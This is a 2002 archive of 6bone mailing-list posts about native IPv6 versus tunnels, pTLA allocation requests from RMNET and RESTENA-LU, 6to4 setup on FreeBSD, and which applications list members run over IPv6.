backbone, and it's not with the money we are giving them (none) that
they are going to build it.
- I would pay for native v6 service, if I could get it that is, but this
means native all the way to a major v6 backbone, which again does not
exist as we speak. I don't call one ISP providing native v6 to the hotel
in Minneapolis a backbone.


> Scott Martin wrote:
> I suppose that until ipv6 can make a corporation money, or until the
> govt steps in with large amounts of $$ for funding, this "project"
> will still flounder about... Sorta like the mbone.

Right on the money (pun intended).

> Personally, I would love to be running native ipv6 - no
> renumbering worries to deal with.

If you could get addresses of your own and these don't exist either.


> Bill Sommerfeld wrote:
> I'll point out that given the prefix length restrictions on the
> 6bone, getting a pTLA is just about the only way for 6bone sites
> to set up redundant routing.

For the same matter, getting a subTLA too. This is not new, has been
posted before and is a direct consequence of the development of v6
multihoming being torpedoed.


>> The 6bone is _not_ real world. There is no real world, as of today.

> Joe St Sauver wrote:
> Sure there is. In fact, I would assert that IPv6 is very real real
> today, and v6 is poised for accelerated availability (at least in
> the research and education network community)

The real world is when I can get to a multihomed IPv6 www.cnn.com,
www.ebay.com, www.etrade.com, www.cisco.com and microsoft.com over
native v6. Today, v6 is a toy and if was not for v4 most of us would not
be able to read this. Lots of us here are working to make the toy
usable, but it does not change the fact that is still is a toy and will
remain a toy until we provide:
a) Multihoming.
b) Geographical addresses, preferably PI.
c) Provider-independent (PI) addresses for large organizations or big
content providers.

Until these three issues are resolved (they are for v4) who can even
pretend to be "serious" about IPv6? A serious global ISP that aggregates
its entire worldwide address space into a single prefix? A serious
portal using their ISP's address? A serious mission-critical singlehomed
site?

The problem is not latency over 6bone tunnels. The problem is that
nobody is willing to fork out the cash to build a real v6 backbone
because there is no revenue on the horizon to pay it back, because major
issues have not been addressed.

Michel.


From 6bone-owner  Wed Apr 10 21:11:41 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: native or simulated?
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> So how does one go about co-ordinating with some of the IPv6 "exchange
> points", networks and others to "fix" this?

	Well, there are several exchanges that support native IPv6
	and there are some ISPs that support v6 that connect to 
	such exchanges.

	http://www.v6nap.net/ 

	is one site that lists a few places to touch. And for those
	who are purists, cut your tunnels and -eventually- the native
	structure will reach you.  

	There -MUST- be a period of transition.  We've cut some tunneled
	sites and added native where we can.  As others become enabled
	and show up in our neighborhood, we wellcome them.
	
-- bill

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Date: Thu, 11 Apr 2002 00:21:51 -0400
From: Nathan Dorfman <nathan@rtfm.net>
To: 6bone@ISI.EDU
Subject: 6bone connection in NYC?
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Hi,

I would very much like to obtain a connection to the 6bone. I am
on the Speakeasy residential network (the 64.81.196/24 one). My
connection is a 1.1M Symmetric DSL with several hosts, all for
"hobby" purposes... I'd like to be able to be respectably close
to the backbone, but have no idea what the process is. Needless
to say I'll be happy with whatever is considered appropriate. :)

If you might be willing to pass me a tunnel, my endpoint would
be phobos.rtfm.net (64.81.196.252), feel free to give it a try
with traceroute or anything else.

Thanks for your time,

-- 
"Just because a few of us can read and     \  \  \\   Nathan Dorfman
write and do a little math, that doesn't    \     \\   nathan@rtfm.net
mean we deserve to take over the universe."  \  \  \\   PGP Key 0832DB12

From 6bone-owner  Wed Apr 10 23:59:51 2002
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	(envelope-from robert@quantum-radio.net.au)
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To: "6bone" <6bone@ISI.EDU>
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Subject: WAS... Re: pTLA request for RMNET - review closes 23 April 2002
Date: Thu, 11 Apr 2002 17:00:14 +1000
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I wonder if I might come in on this conversation for a moment with another perspective.

Regardless of the location of end points, and blocks and bits of blocks it seems to me that the whole idea of moving to
the IPv6 network will die from lack of involvement if it can't become easier to implement. I refer of course to the
actual setting up of the protocols on an actual computer.
While it is of course very necessary to continue working on the outlines - RFCs etc - there needs to be some serious
attempts made to see that valid HOWTOs are produced by those who fully understand the variants.

I take the comment from Pekka Savola in point.
> > > If I was serious about experimenting with IPv6,

Well, there are many people who are serious about experimenting, but the lack of useable information is daunting.
Mailing lists are ok for what they do - but often only confuse the issue. The documents that are available on the
internet now on the subject of V6 are nothing if not conflicting!

The biggest pool of uses or potential users - are of course those already using IPv4. This seems to then be the obvious
starting point to use to build toward eventual take up of full IPv6. That time is of course many many years away. The
investment in training, software, hardware, plant and commerce is so great in the IPv4 area that it will probably never
be fully moved into the IPv6 area in our lifetimes.

As I understand it, 6to4, using the assigned 2002: prefix was designed to enable the use of IPv6 over the existing
infrastructure. An admirable idea, and it appears to work well. However, the depth of documentation on the subject again
is very thin. Enough to get one host or router working if one is lucky, and precious little available to enable a whole
network.
Experimenting? sure. I've been fiddling with it for weeks now on and off. I have one host on my network working as a
host/gateway - finally - I think. and the other host on the network that I set up in the same experimental interest as a
host only is supposed to autoconfigure and connect - well it doesn't. I'm using FreeBSD which seems to be pretty common
throughout the discussions, so it shouldn't be a mystery. But of course it is.

But back to the topic. I've been around the Internet since it was AARNet, so I'm not exactly new to all this. I'm very
sure that if I'm having problems nutting it all out, there is little hope for quite a few others. I know there are
useful things like freenet6 out there, but there again - minimal documentation, and it uses a completly different
prefix, 3fff I think it is from memory. This only serves to further confuse the issue for beginners.

If 6to4 for a number of 'well known platforms' based on the 2002 prefix - designed as I understand it specifically to
use the existing IPv4 networks - could be documented carefully and kept updated it would server to increase interest on
a much wider scale.
I refer to the apparent ease of understanding that numbering system. 2002 is the prefix that tells everyone that it's an
address on an existing IPv4 network and probably is still being used for something useful, like a web server. The next
eight hex-numbers are the IPv4 number translated to hex of the machine that is acting as the IPv6 host/gateway. the
(cb01:6006 in my case) and the ::1 ( I Think) tells that it's the first host on the internal IPv6 network. This is where
it all starts to get grey here. Because the second host - which one would think was numbered ::2 on that network can't
be made to understand that. Any attempt to put that number on any of its interfaces simply confuses it. Interesting
though, both machines can talk to each other via the fe80:<hex-mac-address>:<interface> which of couse is nothing to do
with the 2002 prefix.

Now - I've so far received over a dozen suggestions on how to get the two machines talking to each other correctl, as
well as to the internet, and every one has been different. I have a cardboard carton full of printouts of the same.
Variations of the same theme.

now - I'm not digressing in that discussion above. It's to point out that if it is so hard to set up an IPv6 network
across an existing IPv4 network, using systems supposedly designed to facilitate that, then no one will bother after the
first few frustrating attempts.
If the system isn't loaded too heavily, you should actually be able to connect to http://ruby.chalmers.com.au Apache-2
install page is all, on 2002:cb01:6006::1 Now, I'm not sure if it's actually listening on the v6 port, put a ping6 to
the address should work.
It's the gateway/host/reouter whatever.

s you can see, the origin is the HEX-MAC address of the other host. Which should be 2002:cb01:6006::2 .....OR.... as
someone said, it should be 2002:cb01:6005::1 But of course it would be if it were standalone. But it's supposed to be on
the same network as the 6006 one. You begin to see what I mean.
$ ping6 ruby
PING6(56=40+8+8 bytes) fe80::210:b5ff:fee4:4386%rl0 --> 2002:cb01:6006::1
16 bytes from 2002:cb01:6006::1, icmp_seq=0 hlim=64 time=0.913 ms


So in conclusion - I suspect that very few people actually understand about esoteric details like latency on pure IPv6
machines. But I could point at a user group who I'm sure would love to get their teeth into setting up any number of
hosts, even virtual hosts, behind their one assigned IPv4 address. If someone could come up  with something that was
readable and useable on the subject of setting up 6to4. (and on FreeBSD in my case.) I'm happy to contribute in any way
I can, small as that may appear to the wizards of the pure IPv6 world.

If IPv6 is to be rolled out and not forgotten, people need to be able to implement it on their existing networks.

just my two cents worth,
Robert Chalmers
Quantum Radio





> > > Pekka Savola wrote:
> > > If I was serious about experimenting with IPv6, I sure would not
> > > go overseas to find someone who might be willing to slice off a
> > > part of a block.  However, if I was not serious, I wouldn't care if
> > > all my IPv6 traffic to European countries crossed the
> > Atlantic twice.

> I personally use on day by day basis, IPv6 enabled:
>  - SSH (PuTTY :)
>  - SMTP
>  - Quake 1 + 2*
>  - HTTP
>  - X
>
>

> > guarantee that the 6bone will not be used for production.
> You've got a point there :)
> Though I think most people will profit from good latency.



From 6bone-owner  Thu Apr 11 00:22:12 2002
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Jeroen's post sparked interest in knowing what people are currently
using with IPv6 support on a regular basis.  I'll add what I can think
of off the top of my head and add some questions that may benefit other
list members as well as myself.=20
> I personally use on day by day basis, IPv6 enabled:
>  - SSH (PuTTY :)
How did you accomplish this?  PuTTY seems to use IPv4 for me, although
OpenSSH (which I use the majority of the time by far) works fine.=20
>  - SMTP
>  - Quake 1 + 2*
>  - HTTP
>  - X
I'm curious: Have you accomplished this without ssh tunneling?  (Not
that it's a good idea to do otherwise much anymore, but...)=20
>=20
I've also been wondering (although this is really beyond the scope of
the list) why Mozilla on Win32 lacks IPv6 support (IE works fine.)  I
believe that WinXP ships with integrated IPv6 (I've never used it, so I
can't say for certain), so it seems a little puzzling to me that IPv6
support is not there at all.=20

As for IPv6 applications I use on a regular basis, the ones that
immediately come to mind are:=20
HTTP...LAN/Internet/Host=20
SSH....LAN/Internet/Host (mostly LAN)=20
Finger..............Host=20
(I claim to have the only IPv6-enabled finger daemon written in shell
script--it even does ident lookups.  finger @halcyon.bluecherry.net or
http://halcyon.bluecherry.net/~rain/simple-fingerd (warning: ugly hack))
IRC....LAN/Internet/Host=20
(If anyone on the list frequents Efnet, hybrid-7 has IPv6
support--assuming they get a move on, this should make it the largest
IPv6-enabled network (assuming that people run ircd on ipv6 hosts, but I
have reason to believe that some will))
X......LAN
(via SSH)

Mail is one place I'd like to see IPv6 support improve for.  Do any MTAs
besides Exim support IPv6?  What MUAs support IPv6?

ssh, HTTP, and nfs make up the majority of my traffic, so I'm more or
less content.

--=20
Ben Winslow (rain@bluecherry.net) : I'm from the South Bronx, and I
       System Administrator       : don't care what you say: those
   Bluecherry Internet Services   : cows look dangerous. -- Colin
    http://www.bluecherry.net/    : Powell =20
          (573) 592-0800          :=20

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From 6bone-owner  Thu Apr 11 00:47:49 2002
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We run native IPv6 as well as tunnels here in the UK, from 
Telehouse, London. 

If we want to be able to reach everyone on the 6bone we have to 
use tunnels as there are not enough ISP's doing it native. 

Regards,
Chris


On 10 Apr 2002 at 20:42, Scott Martin wrote:

> 
> 
> 
> -snip-
> > until Abilene is able to run native v6. Soon. . .
> > 
> > Bill (who is currently running native v6)
> 
> Are there any medium to large size ISP's either running native IPv6 or
> ip+ipv6 simultaneously?
> 
> Thanks,
> -Scott (who is currently running v6 tunneled :-) ) 



From 6bone-owner  Thu Apr 11 01:19:13 2002
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From: Robert Elz <kre@munnari.OZ.AU>
To: Pekka Savola <pekkas@netcore.fi>
cc: Bob Fink <fink@es.net>, 6BONE List <6bone@ISI.EDU>,
        Stefano Rotellini - RMnet <s.rotellini@rmnet.it>
Subject: Re: pTLA request for RMNET - review closes 23 April 2002 
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    Date:        Tue, 9 Apr 2002 23:06:59 +0300 (EEST)
    From:        Pekka Savola <pekkas@netcore.fi>
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  | An ISP from Italy has a tunnel and address block from VIAGENIE in Canada.
  | Is it just me or does there seem to be something really wrong here?

Depends upon what you see as being wrong.   It most likely isn't a
very efficient way to use the IPv4 internet - but with the 6bone
carrying comparatively little traffic, I really don't see that this
matters.

As far as simulating real IPv6 nets, it is just fine - ISPs everywhere
will get their connectivity from wherever it is cheapest (value for money
of course, so extra issues like delays incurred count), there's no
reason that either geographic or political boundaries should have any
real bearing on anything.   Imagining one (or several) giant exchanges in
the IPv6 world, where lots of random providers connect seems quite
reasonable to me.

Connecting to Freenet6 (VIAGENIE) tends to give good IPv6 connectivity,
as so many other sites also connect there.

kre


From 6bone-owner  Thu Apr 11 01:24:08 2002
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Subject: Re: WAS... Re: pTLA request for RMNET - review closes 23 April 2002
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Thanks Tim,
Yup, got that. It's in the collection. As it stands, it could be considerd an opening introduction. But by no means does
it tell the whole picture.
Routing and talking to other hosts/clients on the same network isn't mentioned and so on...

This bit is of course important. It is exactly what I was talking about. The 2002 space is set aside, but because no one
can use it without spending weeks stuffing about - it's probably not being used by many
======================================== quote ================
6to4 uses a special IPv6 prefix: 2002::/16. The IANA has set aside this address space just for 6to4. The 6to4
specification states that the 32 bits after 2002::/16 are the IPv4 address of the gateway machine for the network in
question. This is how the packets know to find their way to your network -- the IPv4 address of your gateway is right in
them! For example, if your gateway machine's IPv4 address is 192.168.2.199 (it obviously wouldn't be since that address
is unroutable, but just for example), your IPv6 prefix would be 2002:c0a8:2c7::/48. Inside of that space, you have 80
bits of address space to do with as you please. Normally each subnet gets a 2^64 netmask, so that leaves 16 bits of
site-local network addressing -- or 65,536 subnets.

=============================================================

cheers
Robert

----- Original Message -----
From: "Tim Chown" <tjc@ecs.soton.ac.uk>
To: "Merlin" <robert@quantum-radio.net.au>
Cc: "6bone" <6bone@ISI.EDU>
Sent: Thursday, April 11, 2002 5:47 PM
Subject: Re: WAS... Re: pTLA request for RMNET - review closes 23 April 2002


> On Thu, 11 Apr 2002, Merlin wrote:
>
> > So in conclusion - I suspect that very few people actually understand about esoteric details like latency on pure
IPv6
> > machines. But I could point at a user group who I'm sure would love to get their teeth into setting up any number of
> > hosts, even virtual hosts, behind their one assigned IPv4 address. If someone could come up  with something that was

> > readable and useable on the subject of setting up 6to4. (and on FreeBSD in my case.) I'm happy to contribute in any
way
> > I can, small as that may appear to the wizards of the pure IPv6 world.
>
> A quite good site on 6to4 is http://www.kfu.com/~nsayer/6to4/.
>
> Tim
>


From 6bone-owner  Thu Apr 11 02:07:33 2002
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I am a newer in IPv6,what is the newest and promising direction in IPv6 field?


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From 6bone-owner  Thu Apr 11 04:12:41 2002
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From: =?ISO-8859-1?Q?J=F8rgen_Hovland?= <jorgen@hovland.cx>
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Subject: Re: [OT] IPv6 applications in active use
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On 11 Apr 2002, Ben Winslow wrote:

> Jeroen's post sparked interest in knowing what people are currently
> using with IPv6 support on a regular basis.  I'll add what I can think
> of off the top of my head and add some questions that may benefit other
> list members as well as myself.
> > I personally use on day by day basis, IPv6 enabled:
> >  - SSH (PuTTY :)
> How did you accomplish this?  PuTTY seems to use IPv4 for me, although
> OpenSSH (which I use the majority of the time by far) works fine.
> >  - SMTP
> >  - Quake 1 + 2*
> >  - HTTP
> >  - X
> I'm curious: Have you accomplished this without ssh tunneling?  (Not
> that it's a good idea to do otherwise much anymore, but...)
> >
> I've also been wondering (although this is really beyond the scope of
> the list) why Mozilla on Win32 lacks IPv6 support (IE works fine.)  I
> believe that WinXP ships with integrated IPv6 (I've never used it, so I
> can't say for certain), so it seems a little puzzling to me that IPv6
> support is not there at all.
>
> As for IPv6 applications I use on a regular basis, the ones that
> immediately come to mind are:
> HTTP...LAN/Internet/Host
> SSH....LAN/Internet/Host (mostly LAN)
> Finger..............Host
> (I claim to have the only IPv6-enabled finger daemon written in shell
> script--it even does ident lookups.  finger @halcyon.bluecherry.net or
> http://halcyon.bluecherry.net/~rain/simple-fingerd (warning: ugly hack))
> IRC....LAN/Internet/Host
> (If anyone on the list frequents Efnet, hybrid-7 has IPv6
> support--assuming they get a move on, this should make it the largest
> IPv6-enabled network (assuming that people run ircd on ipv6 hosts, but I
> have reason to believe that some will))
> X......LAN
> (via SSH)
>
> Mail is one place I'd like to see IPv6 support improve for.  Do any MTAs
> besides Exim support IPv6?  What MUAs support IPv6?

Sendmail works grrreat... (you need to recompile it with ipv6 support and
make a new mc)


>
> ssh, HTTP, and nfs make up the majority of my traffic, so I'm more or
> less content.
>

I also use ipv6 for streaming, multicast streaming and ftp


Joergen Hovland

> --
> Ben Winslow (rain@bluecherry.net) : I'm from the South Bronx, and I
>        System Administrator       : don't care what you say: those
>    Bluecherry Internet Services   : cows look dangerous. -- Colin
>     http://www.bluecherry.net/    : Powell
>           (573) 592-0800          :
>


From 6bone-owner  Thu Apr 11 05:47:36 2002
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> I've also been wondering (although this is really beyond the scope of
> the list) why Mozilla on Win32 lacks IPv6 support (IE works fine.)  I
> believe that WinXP ships with integrated IPv6 (I've never used it, so I
> can't say for certain), so it seems a little puzzling to me that IPv6
> support is not there at all. 
> 

WinXP pro comes with IPV6 6-4 services enabled by default (I think?). I 
had to do disable 6-4 services and do a "ipv6 install" from the cmd 
prompt to get native ipv6 working. As far as mozilla onm XP goes, not 
sure there... Mozilla with ipv6 on my FreeBSD 4.5 box works great though!

-Scott


From 6bone-owner  Thu Apr 11 06:46:13 2002
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Date: Thu, 11 Apr 2002 06:36:38 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for RESTENA-LU - review closes 25 April 2002
Cc: yves.schaaf@restena.lu
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6bone Folk,

RESTENA-LU has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 25 April 
2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?RESTENA-LU>

<http://www.ipv6.restena.lu>


Thanks,

Bob

===
Subject: pTLA request for RESTENA-LU (AS2602)
To: fink@es.net
Cc: ipv6@restena.lu
From: yves.schaaf@restena.lu
Date: Wed, 10 Apr 2002 11:22:38 +0100

Hi Bob and 6bone members,

on behalf of RESTENA, I want to apply for a pTLA allocation from the 6bone.
The RESTENA Foundation operates the national research and education network
(NREN)
of the Grand Duchy of Luxembourg (Europe) and we are connected to the 6bone
since July 2000.

Please find information conforming to RFC 2772 below :


 >7. Guidelines for 6Bone pTLA sites
 >
 >   The following rules apply to qualify for a 6Bone pTLA allocation. It
 >   should be recognized that holders of 6Bone pTLA allocations are
 >   expected to provide production quality backbone network services for
 >   the 6Bone.
 >
 >   1. The pTLA Applicant must have a minimum of three (3) months
 >      qualifying experience as a 6Bone end-site or pNLA transit.   During
 >      the entire qualifying period the Applicant must be operationally
 >      providing the following:

We have about 21 months experience as a 6bone end-site.

 >      a. Fully maintained, up to date, 6Bone Registry entries for their
 >         ipv6-site inet6num, mntner, and person objects, including each
 >         tunnel that the Applicant has.

inet6num:     3FFE:604:10::/48
netname:      RESTENA-LU
descr:        delegation for RESTENA-LU
country:      LU
admin-c:      WB311-RIPE
admin-c:      RVDP3-RIPE
tech-c:       WB311-RIPE
tech-c:       RVDP3-RIPE
remarks:      This object is automatically converted from the RIPE181
registry
notify:       ipv6@surfnet.nl
mnt-by:       MNT-SURFNET
changed:      Wim.Biemolt@ipv6.surfnet.nl 20000625
changed:      auto-dbm@whois.6bone.net 20010117
source:       6BONE

inet6num:     3FFE:8039::/34
netname:      RESTENA-LU
descr:        NLA allocation from QPTVSIX
country:      LU
admin-c:      YS2-6BONE
tech-c:       YS2-6BONE
tech-c:       AF5-6BONE
notify:       ipv6@restena.lu
mnt-by:       MNT-RESTENA [update] [delete]
changed:      yves.schaaf@restena.lu 20020409
source:       6BONE

inet6num:     3FFE:2024:2000::/35
netname:      RESTENA-LU
descr:        NLA allocation from SWITCH
country:      LU
admin-c:      YS2-6BONE
tech-c:       YS2-6BONE
tech-c:       AF5-6BONE
notify:       ipv6@restena.lu
mnt-by:       MNT-RESTENA [update] [delete]
changed:      yves.schaaf@restena.lu 20020409
source:       6BONE

ipv6-site:    RESTENA-LU
origin:       AS2602
descr:        RESTENA-LU
country:      LU
prefix:       3FFE:604:10::/48
prefix:       3FFE:8039::/34
prefix:       3FFE:2024:2000::/35
application:  ping www.ipv6.restena.lu
application:  ping gate.ipv6.restena.lu
tunnel:       IPv6 in IPv4 ipv6gate.restena.lu ->
l1.ar1.amsterdam2.surf.net SURFNET BGP4+
tunnel:       IPv6 in IPv4 ipv6gate.restena.lu -> eth.nl2.nl.ten-155.net
QTPVSIX BGP4+
tunnel:       IPv6 in IPv4 ipv6gate.restena.lu -> swi6T1.switch.ch SWITCH
BGP4+
contact:      AF5-6BONE
contact:      MS11-6BONE
contact:      YS2-6BONE
remarks:      This object is automatically converted from the RIPE181
registry
notify:       ipv6@restena.lu
mnt-by:       MNT-RESTENA
changed:      marc.stiefer@restena.lu 20000626
changed:      auto-dbm@whois.6bone.net 20010117
changed:      yves.schaaf@restena.lu 20010206
changed:      yves.schaaf@restena.lu 20010801
changed:      yves.schaaf@restena.lu 20011026
changed:      yves.schaaf@restena.lu 20020202
changed:      yves.schaaf@restena.lu 20020408
source:       6BONE

mntner:       MNT-RESTENA
descr:        Maintainer  of RESTENA 6Bone objects
admin-c:      AF5-6BONE
tech-c:       AF5-6BONE
tech-c:       MS11-6BONE
upd-to:       alain.frieden@restena.lu
upd-to:       marc.stiefer@restena.lu
mnt-nfy:      alain.frieden@restena.lu
mnt-nfy:      marc.stiefer@restena.lu
notify:       marc.stiefer@restena.lu
notify:       yves.schaaf@restena.lu
notify:       ipv6@restena.lu
mnt-by:       MNT-RESTENA
changed:      marc.stiefer@restena.lu 20010206
source:       6BONE


 >      b. Fully maintained, and reliable, BGP4+ peering and connectivity
 >         between the Applicant's boundary router and the appropriate
 >         connection point into the 6Bone. This router must be IPv6
 >         pingable. This criteria is judged by members of the 6Bone
 >         Operations Group at the time of the Applicant's pTLA request.

We have three BGP4+ peerings :
with SURFNET
--> tunnel:       IPv6 in IPv4 ipv6gate.restena.lu ->
l1.ar1.amsterdam2.surf.net SURFNET BGP4+

with the GEANT IPv6 test program - GTPv6 (also QTPVSIX) :
--> tunnel:       IPv6 in IPv4 ipv6gate.restena.lu ->
eth.nl2.nl.ten-155.net QTPVSIX BGP4+

with SWITCH
--> tunnel:       IPv6 in IPv4 ipv6gate.restena.lu -> swi6T1.switch.ch
SWITCH BGP4+

The IPv6 router is pingable over IPv6 and IPv4.


 >      c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
 >         entries for the Applicant's router(s) and at least one host
 >         system.

We maintain DNS forward (AAAA) entries for ipv6.restena.lu and reverse
entries for 3ffe:604:10::/48 and 3ffe:8039::/34.

Nameserver #1:    ipv6-ns1.ipv6.restena.lu
                   3ffe:2024:2000::2
                   158.64.56.114

Nameserver #2:    ipv6-ns2.ipv6.restena.lu
                   3ffe:2024:2000::3
                   158.64.56.115

The router is called ipv6gate.restena.lu --> gate.ipv6.restena.lu.
One available host system is www.ipv6.restena.lu.

 >      d. A fully maintained, and reliable, IPv6-accessible system
 >         providing, at a mimimum, one or more web pages, describing the
 >         Applicant's IPv6 services.  This server must be IPv6 pingable.

www.ipv6.restena.lu

 >   2. The pTLA Applicant MUST have the ability and intent to provide
 >      "production-quality" 6Bone backbone service. Applicants must
 >      provide a statement and information in support of this claim.
 >      This MUST include the following:
 >
 >      a. A support staff of two persons minimum, three preferable, with
 >         person attributes registered for each in the ipv6-site object
 >         for the pTLA applicant.

AF5-6BONE
YS2-6BONE

 >      b. A common mailbox for support contact purposes that all support
 >         staff have acess to, pointed to with a notify attribute in the
 >         ipv6-site object for the pTLA Applicant.

ipv6@restena.lu

 >   3. The pTLA Applicant MUST have a potential "user community" that
 >      would be served by its becoming a pTLA, e.g., the Applicant is a
 >      major provider of Internet service in a region, country, or focus
 >      of interest. Applicant must provide a statement and information in
 >      support this claim.

The RESTENA Foundation operates the national research and education network
(NREN)
of the Grand Duchy of Luxembourg (Europe). We act as an ISP for our NREN
community
and are responsible for the management of the ccTLD LU.

 >   4. The pTLA Applicant MUST commit to abide by the current 6Bone
 >      operational rules and policies as they exist at time of its
 >      application, and agree to abide by future 6Bone backbone
 >      operational rules and policies as they evolve by consensus of the
 >      6Bone backbone and user community.

We agree to abide by the rules as they exist now and as they may evolve in
the future.

 >   When an Applicant seeks to receive a pTLA allocation, it will apply
 >   to the 6Bone Operations Group (see section 8 below) by providing to
 >   the Group information in support of its claims that it meets the
 >   criteria above.
 >
 >8. 6Bone Operations Group
 >
 >   The 6Bone Operations Group is the group in charge of monitoring and
 >   policing adherence to the current rules. Membership in the 6Bone
 >   Operations Group is mandatory for, and restricted to, sites connected
 >   to the 6Bone.
 >
 >   The 6Bone Operations Group is currently defined by those members of
 >   the existing 6Bone mailing list who represent sites participating in
 >   the 6Bone. Therefore it is incumbent on relevant site contacts to
 >   join the 6Bone mailing list. Instructions on how to join the list are
 >   maintained on the 6Bone web site at < http://www.6bone.net>.
 >

Regards,

Yves Schaaf
Fondation RESTENA
YS136-RIPE

-end


From 6bone-owner  Thu Apr 11 07:05:46 2002
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To: 6bone@ISI.EDU
Subject: Re: [OT] IPv6 applications in active use 
References: <001901c1e105$b3754e20$420d640a@unfix.org>
            <1018509733.20458.7.camel@portal>
In-reply-to: Your message of "11 Apr 2002 02:22:12 -0500".
	 <1018509733.20458.7.camel@portal> 
From: Harald Koch <chk@pobox.com>
Date: Thu, 11 Apr 2002 10:05:42 -0400
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> How did you accomplish this?  PuTTY seems to use IPv4 for me, although
> OpenSSH (which I use the majority of the time by far) works fine.=20

<http://unfix.org/projects/ipv6/>

More generally speaking, regularly checking <http://www.hs247.com/> is a
good idea :-)

> >  - X
> I'm curious: Have you accomplished this without ssh tunneling?

I'm curious too; last time I checked X11 needed major work to support IPv6.

> I've also been wondering (although this is really beyond the scope of
> the list) why Mozilla on Win32 lacks IPv6 support (IE works fine.)

IE works fine but is entirely unsupported, and you have to reinstall the
magic DLL every time you ugrade IE, which makes me wonder what bugs I'm
reintroducing by doing so.

Interestingly, Java 1.4 ships with native IPv6, but only for Linux and
Solaris 8. Perhaps the problem is that IPv6 isn't really available for
Win32 (until XP)?

> Mail is one place I'd like to see IPv6 support improve for.  Do any MTAs
> besides Exim support IPv6?  What MUAs support IPv6?

sendmail and fetchmail. Both have IPv6 support out-of-the-box with
RedHat 7.2.

Other software that I use:

- Apache 2.0.35 (non-beta) is now out, and supports IPv6; it's working
  fine for me.
- CIPE (an encrypting tunnel manager) works fine with native IPv6 if you
  build it the right way.
- zebra supports ripng and ospf6, although you really have to keep up
  with the CVS tree if you want stability.

-- 
Harald Koch     <chk@pobox.com>

From 6bone-owner  Thu Apr 11 07:26:11 2002
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From: "Matteo Tescione" <wizard@italiansky.com>
To: "Jeroen Massar" <jeroen@unfix.org>, "'6BONE List'" <6bone@ISI.EDU>
References: <001901c1e105$b3754e20$420d640a@unfix.org>
Subject: Re: pTLA request for RMNET - review closes 23 April 2002
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Hi to all, this is the first time that i see a new concept:
> Fortunatly these folks are requesting a pTLA so they can soon announce
> their
> block over as many tunnels they can lay their hands on and improve their
> latency and uhaul packeting.

I do agree with this "new concept"...
now my question: what's wrong if someone in italy has a tunnel with someone
in Us or Canada or elsewhere? I'm in italy and I have several tunnel around
europe, and if sometimes rtt is over 100ms I can't see a big problem cause
ipv6 load is not so high....

Just my 1 damn euro cent...
Matteo Tescione


----- Original Message -----
From: "Jeroen Massar" <jeroen@unfix.org>
To: "'6BONE List'" <6bone@ISI.EDU>
Sent: Thursday, April 11, 2002 5:05 AM
Subject: RE: pTLA request for RMNET - review closes 23 April 2002


> Michel Py wrote:
>
> > Pekka,
> >
> > >> Bob Fink wrote:
> > >> If you think there is something wrong with this, please say more.
> >
> > > Pekka Savola wrote:
> > > If I was serious about experimenting with IPv6, I sure would not
> > > go overseas to find someone who might be willing to slice off a
> > > part of a block.  However, if I was not serious, I wouldn't care if
> > > all my IPv6 traffic to European countries crossed the
> > Atlantic twice.
> >
> > I have to disagree with you on this point. I am in
> > California, and the first tunnel I got was from Viagénie in
> > Québec. Yes, I could have asked Hurricane Electric, or I
> > could have asked Bob Fink, or I could have asked Cisco.
> >
> > Who cares if my average RTT to Viagénie is 92ms? Not me.
> > There are ways to adjust network latency in Quake v6 (the
> > only IPv6 real application as of today, I think?)
> I personally use on day by day basis, IPv6 enabled:
>  - SSH (PuTTY :)
>  - SMTP
>  - Quake 1 + 2*
>  - HTTP
>  - X
>
> Can't say IMAP unfortunatly, I will have to wait till my Outlooky
> understands it.
> Serverside (courier ;) does it already though. But mail goes out and
> comes in over IPv6 whenever possible.
> And many other applications go used unnoticed.
>
> * = http://games.concepts.nl, which will be native quite soon from
> Amsterdam to Breda (almost cross country ;)
> QuakeWorld & Quake2 patches provided courtesy of Viagenie!
>
> Oh and I *do* care about latency... If you are doing transatlantic
> _twice_ you have at least in a sunnyweather condition 2x 80ms.
> That's 160ms already, typing (ssh), quaking, remote X'ing etc with 160ms
> is not nice :)
>
> <SNIP>
>
> > As far as I am concerned, the geographical location of a pTLA
> > does not matter (I have a tunnel with UK, too). There are
> > situations where the link to someone geographically close
> > will be worse than someone at the other end of a continent.
> > To some extent, I think that cross-ocean tunnels are a
> > guarantee that the 6bone will not be used for production.
> You've got a point there :)
> Though I think most people will profit from good latency.
> That's why one can take multiple tunnels and do some nice routing
> based on that -> testing, experimenting -> <fillinyour>bone :)
>
>
> Greets,
>  Jeroen
>


From 6bone-owner  Thu Apr 11 07:50:20 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Stefano Rotellini <s.rotellini@rmnet.it>
cc: Bob Fink <fink@es.net>, 6BONE List <6bone@ISI.EDU>
Subject: Re: pTLA request for RMNET - review closes 23 April 2002
In-Reply-To: <5.1.0.14.2.20020411161146.027ffec0@194.183.26.24>
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On Thu, 11 Apr 2002, Stefano Rotellini wrote:
> we have also 2 (it is 2 not '22') more tunnels/BGP sessions, to optimize 
> outgoing traffic in a sensible geographical way:
> CSELT - Italian traffic
> FASTNETXP - European traffic
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^

This is incorrect. Your /48 route may have reached FASTNETXP, but it does 
not go any further than that.  It will be filtered out.  FASTNETXP != 
Europe :-))

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Thu Apr 11 08:31:11 2002
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From: info@caladan.net
To: Tim Chown <tjc@ecs.soton.ac.uk>
Date: Thu, 11 Apr 2002 16:29:03 +0100
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We were one of the first to join UK6X but since joining it's gone 
dead, there seems to be no interest - we never get any emails from 
the mailing list anymore and repeated requests to peer results in 
responses like "soon" or "we'd love to peer but were not ready yet", 
etc :( 

So unless you know different? We have cables between ourselves 
and UK6X and ourselves and UUNET, If anyone else would like to 
peer with us natively either direct or via UK6X, we have a presence 
in Telehouse, London and MCC, Manchester. 

We could also get connectivity to Redbus in London if req'd.

Regards,
Chris


On 11 Apr 2002 at 9:09, Tim Chown wrote:

> 
> Hi Chris,
> 
> Have you considered connectiong to the UK6X run by BTexact?
> 
> Tim
> 
> On Thu, 11 Apr 2002 info@caladan.net wrote:
